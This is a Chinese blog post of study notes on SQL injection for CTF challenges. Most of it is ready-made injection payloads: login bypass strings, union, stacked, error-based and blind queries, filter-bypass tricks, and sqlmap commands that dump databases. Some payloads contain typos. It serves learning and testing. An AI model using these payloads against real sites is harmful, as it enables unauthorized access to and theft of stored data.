sql注入学习笔记

VSole2022-07-27 16:52:58

首先来了解一下在CTF中最为常见的sql查询语句:

select * from users where username='$username' and password='$password';

这个语句的意图也非常明显,查询users数据表中的所有字段,看能否找到用户输入的用户名和对应的密码。

利用点也很明确,通过闭合单引号在该查询语句的基础上添加我们想要的查询语句(此即为sql注入)。

下面对CTF中出现的一些常见考点做一个简单的梳理和总结。

万能密码(以上面这条查询语句为例)

'or 1=1#username=admin\&password=or 1;#  //通过斜杠转义单引号

联合注入

有无回显测试

?id=-1'order by 1%23 //使用order by主要用于确定字段数?id=1'union select 1,2,3%23

有回显注入

分为数字型,字符型

利用select查询

(以字符型注入为例)

查询sql版本:

?id=-1'union select 1,version(),3%23

查询数据库名(把database放在回显点上):

?id=-1'union select 1,database(),3%23

查询数据表名:

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

查询字段名:

?id=-1'union select 1,database(), group_concat(column_name) from information_schema.columns where table_name='(数据表名)'%23

查询结果:

?id=-1' union select (字段名),2 from 表名 %23

堆叠查询

查询数据库:

1';show databases;%23

查询数据表:

1';show tables;%23

查询字段名(如果数据表名是数字形式,使用反引号):

1';show columns from (数据表名);%23

堆叠查询没有直接读取字段值的方法,但是有时候可以通过。

预处理

运用handler命令:

1';handler (数据表) open;handler (数据表) read first;handler (数据表) close;%23

运用rename命令:

1';rename tables `(默认表)` to `(新表)`;rename tables `(待查询的表)` to `(默认表)`; alter table `(默认表)` change `(待查询字段)` `(默认字段)` varchar(100);23

报错注入

基于extractvalue()的payload:

查询数据库:

id=a'and extractvalue(1,concat(0x7e,select(database())))%23

查询数据表:

id=a' and extractvalue(1,concat(0x7e,select(group_concat(table_name)from(information_schama.tables)where(table_schema)like('数据库名'))%23

查询字段:

id=a' and extractvalue(1,concat(0x7e,select(group_concat(column_name)from(information_schema.columns)where(table_name)like('数据表名'))))%23

查询字段值(字段名和数据表名不需要单引号):

id=a' and extractvalue(1,concat(0x7e,select(group_concat(字段名))from(数据表名)))%23

可用updatexml():

查询数据库名:

id=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

无回显注入

布尔盲注

id=1' and length(database())<5 %23
?id=1' and (select ord(mid(group_concat(table_name),1,1))<97 information_schema.tables where table_schema=database()); %23

时间盲注

基于and的盲注payload:

1' and 表达式 and sleep(5)%23

基于if的盲注payload:

if(ascii(substr(database(),1),1))=97,sleep(5),1)

bypass

大小写绕过

当正则匹配的黑名单修饰符没有i时

各种字符绕过

空格:
/**/ /*!*/ /*1*/ ()
字符串截取函数:
substr substring mid left right
等于号:
in regexp like
与:
and &&
or ||
limit:
offset
大于,小于号(greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值):
greatest
截断符
  # %23 %00 --
select绕过

预处理绕过

1';set @sql=concat('se','lect * from user;');prepare ext from @sql;execute ext;

基于mysql8的新特性

table在某些情况下可以代替select

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

但值得注意的是,table在查询时,返回值为元组。

注入payload:

  (1,0x21,0x21)<(table users limit 1)

以上是对于mysql的注入。

当然还有不太常见但偶尔出现的sqlite注入,sqlite注入和mysql的注入大致上相同,值得注意的是一下几个区别。

1、sqlite中查询版本号的函数时sqlite_version()。

2、在sqlite中有一张叫sqlite_master的表,类似于mysql中的information.schema,用于存放数据表名,字段名等信息。

union select 1,2,name from sqlite_master where type='table' and name='(数据表)'

3.在sqlite中并不支持#这个注释符,但可以用--等DDl中的注释符。

sqlmap的使用

虽然学会手注很重要,但是最方便的还是直接用sqlmap辣,一般在题目黑名单限制不多,形态比较常规的时候,可以直接扫到。

一键开扫:

python3 sqlmap.py -u http://ip:port

post型注入(抓包):

python3 sqlmap.py -r request.txt -p (注入点)

获取数据库名:

python3 sqlmap.py -u http://ip:port --dbs

获取数据表名:

python3 sqlmap.py -u http://ip:port -D 数据库 --tables

获取字段名:

python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 --columns

获取字段值:

python3 sqlmap.py -u http://ip:port -D 数据库 -T 数据表 -C 字段名 --dump

以上就是本人在学习sql注入过程中做的一个小小的汇总。

如有错误,写的不好的或需要补充的地方,希望路过的大佬们能不吝赐教。

select数据表
本作品采用《CC 协议》,转载必须注明作者和本文链接
sql注入学习笔记
2022-07-27 16:52:58
sql注入学习笔记
今天实践的是vulnhub的LemonSqueezy镜像,下载地址,https://download.vul
MSSQL注入和漏洞利用姿势总结
基础介绍Microsoft SQL Server 是微软开发的关系型数据库管理系统。作为数据库服务器,它是一种软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据,这些应用程序可以在同一台计算机上运行,也可以在网络上的另一台计算机上运行。SQL Server 默认开放的端口是 TCP 1433。判断数据库类型/*?数据库中独有的数据表,如果页面返回正常即可表示为?为便于管理数据库中的权限,SQL Server 提供了若干角色,这些角色是用于对其他主体进行分组的安全主体。
关注一波,谢谢各位师傅感谢ch1e师傅帮忙总结ch1e‘blog:https://ch1e.gitee.io
在渗透测试过程中遇到了MSSQL数据库,市面上也有一些文章,不过大多数讲述的都是如何快速利用注入漏洞getshell的,对于MSSQL数据库的注入漏洞没有很详细地描述。在这里我查阅了很多资料,希望在渗透测试过程中遇到了MSSQL数据库能够相对友好地进行渗透测试,文章针对实战性教学,在概念描述方面有不懂的还请自行百度,谢谢大家~
菜鸟入坑代码审计,听说BlueCMS比较合适初学者,特此学习,大佬勿喷 漏洞环境&搭建 本地环境搭建,使用phpstudy集成系统,CMS版本为 访问install目录 下一步,查看数据库文件有没有生成 数据库有数据表显示,安...
正文首先进入主页是这个样子F12也没找到啥接口。注入也无。。。。搜到一个人力资源管理系统F12有惊喜,这里背景图片居然是download+id。然后顺势遍历一波ID。拿到账号密码,回去科研管理系统登陆一波所有功能都点一遍,熟悉下环境看这URL。。这套系统还是Asp的。。后端应该就是IIS+Asp+SqlServer熟悉了下语句,后端应该是select xxxx from xxxx where 1=1 +and+left>=12++and++ and ProjLevel=*03*. 直接用base64解码写入了,省去了很多烦恼当我访问时,却是500??
VSole
网络安全专家